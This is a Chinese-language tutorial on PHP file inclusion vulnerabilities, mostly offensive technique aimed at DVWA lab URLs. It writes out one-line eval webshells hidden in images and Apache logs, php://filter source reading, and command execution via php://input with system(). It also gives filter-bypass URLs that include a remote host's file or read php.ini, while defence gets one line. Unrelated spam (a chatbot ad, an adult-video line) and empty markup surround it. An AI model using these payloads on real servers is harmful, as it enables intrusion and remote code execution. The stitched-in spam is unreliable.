<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ThinkChat2.0新版上線,更智能更精彩,支持會話、畫圖、視頻、閱讀、搜索等,送10W Token,即刻開啟你的AI之旅 廣告
                ## 文件包含漏洞 簡單一句話,為了更好地使用代碼的重用性,引入了文件包含函數,可以通過文件包含函數將文件包含進來,直接使用包含文件的代碼。 在大多數Web語言中都會提供的功能,但PHP對于包含文件所提供的功能太強大,所以包含漏洞經常出現在PHP語言中,但其他語言中可能出現包含漏洞。 ### 文件包含漏洞的原理: ?大多數情況下,文件包含函數中包含的代碼文件是固定的,因此也不會出現安全問題。 但有些時候,文件包含的代碼文件被寫成了一個變量,且這個變量可以由前端用戶傳進來,這種情況下,如果沒有做足夠的安全考慮,則可能會引發文件包含漏洞。 攻擊著會指定一個“意想不到”的文件讓包含函數去執行,從而造成惡意操作。 ? **示例代碼:** ```? ?page=a.php ?home=b.html ?file=content.. ``` ### 涉及到的危險函數: ``` include #執行到include時才包含文件,找不到被包含文件時只會產生警告,腳本將繼續執行 include_once #同上,區別是如果該文件中已經被包含過,則不會再次包含。 require #程序一運行就包含文件,找不到被包含的文件時會產生致命錯誤,并停止腳本 require_once #同上,區別是 PHP會檢查該文件是否已經被包含過,如果是則不會再次包含。 ``` ### 文件包含漏洞的分類: 1. 本地文件包含漏洞: 僅能夠對服務器本地的文件進行包含,由于服務器上的文件并不是攻擊者所能夠控制的,因此該情況下,攻擊著更多的會包含一些 固定的系統配置文件,從而讀取系統敏感信息。 很多時候本地文件包含漏洞會結合一些特殊的文件上傳漏洞,從而形成更大的威力(例如上傳webshell后用包含方式調用)。 ? 2. 遠程文件包含漏洞: 能夠通過url地址對遠程的文件進行包含,這意味著攻擊者可以傳入任意的代碼,這種情況沒啥好說的,準備掛遠程碼 ?php遠程包含漏洞必要參數 ``` allow_url_include=on magic_quotes_gpc=off ``` ### 文件包含漏洞的上傳技巧: ? #### 1、小馬+圖片: ?* 方法一:直接偽造頭部GIF89A * 方法二:CMD方法,copy /b test.png+1.php muma.png ?* 方法三:直接使用工具往圖片中寫入一句話木馬。 ? #### 2、小馬+日志: ?當某個PHP文件存在本地包含漏洞,而卻無法上傳正常文件,這就意味這有包含漏洞卻不能拿來利用,這時攻擊者就有可能會利用apache日志文件來入侵。 >Apache服務器運行后會生成兩個日志文件,access.log(訪問日志)和error.log(錯誤日志),apache的日志文件記錄下我們的操作,并且寫到訪問日志文件access.log之中 1、打開配置文件`httpd.conf”第299行 刪除井號以取消注釋 ``` ##CustomLog "logs/access.log" common ``` ? 2、將一句話木馬寫到 url中的fiename 里 雖然會提示失敗,但是會記錄到日志文件中。** ``` #URL地址 http://xx.com/xx.php?filename=<?php @eval($_POST['123']);?> #access_log中會有如下內容 ..... GET /xx.php?filename=%3C?PHP%20@eval($_POST[%27123%27]);?%3E ...... ``` 3、然后用包含漏洞包含日志文件 小馬就被運行了,但是由于編碼的緣故有可能并不生效。用菜刀等工具連接試試 ``` #URL http://xx.com/xx.php?filename=../Apache/logs/access.log ``` #### 3、利用php包含來讀文件: ``` # 1 構造URL:x.php是實現傳到服務器的一句話木馬 http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php # 2 通過bp抓包可以發現,返回的包里面有一串base64的加密字符串 # 3 將加密字符串解密,可得一句話木馬 <?php eval($_POST['cmd']);> ``` #### 4、php包含寫文件: 注意:只有在`allow_url_include`為on的時候才可以使用,如果想查看回顯結果那還要這樣 1. 在C:\\php\\php-5.2.14-Win32下找到php-apache2handler.ini 2. 打開,查找`display_funtions=proc-open,oppen,exec,system……` 3. 刪掉system,然后重啟apache。 >意思就是排除system命令 ? ``` #構造URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input #抓包,修改提交的post數據為 <?php system('net user');?> ?#在返回包中,應該能看到net user命令的執行結果 ``` ? #### 5、`str_replace`函數繞過:(中) ?使用`str_replace`函數替換指定的字符串是極其不安全的,因為可以使用很多方法繞過。 又假設設置的過濾`../、..\、http://`等,以防止目錄穿越和遠程文件 ``` #1、可以路徑嵌套 http://192.168.0.103/dvwa/vulnerabilities/fi/page=..././..././..././..././..././xampp/htdocs/dvwa/php.ini #2、絕對路徑不受任何影響 ?http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini #3、雙寫http頭使用遠程文件 ?http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt ``` #### 6、fnmatch函數繞過:(高) ?經常會有開發,用fnmatch函數,用于指定只能用特定的文件名開頭的文件 ``` if(!fnmatch("file*",$file)&&$file!="include.php") #本意是當include.php,又不是file開頭的文件名時,就不能調用 #但殊不知有file://協議,也是可以讀取文件的 http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini ``` PHP帶有很多內置URL風格的封裝協議,可用于類似fopen()、copy()、file_exists()和filesize()的文件系統函數。 ``` File:// 訪問本地文件系統 htt[p:// 訪問HTTP(s)網址 ftp:// 訪問FTP(s)URLS php:// 訪問各個輸入/輸出流(I/o streams) zlib:// 壓縮流 data:// 數據(RFC2397) ssh2:// Secure Shell 2 expect:// 處理交互式的流 glob:// 查找匹配的文件路徑模式 #有時候對方程序員對協議進行限制我們可以多嘗試嘗另外的 ``` ? ## 文件包含漏洞的防御方法: ?**將需要包含的文件用白名單方式寫死**
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看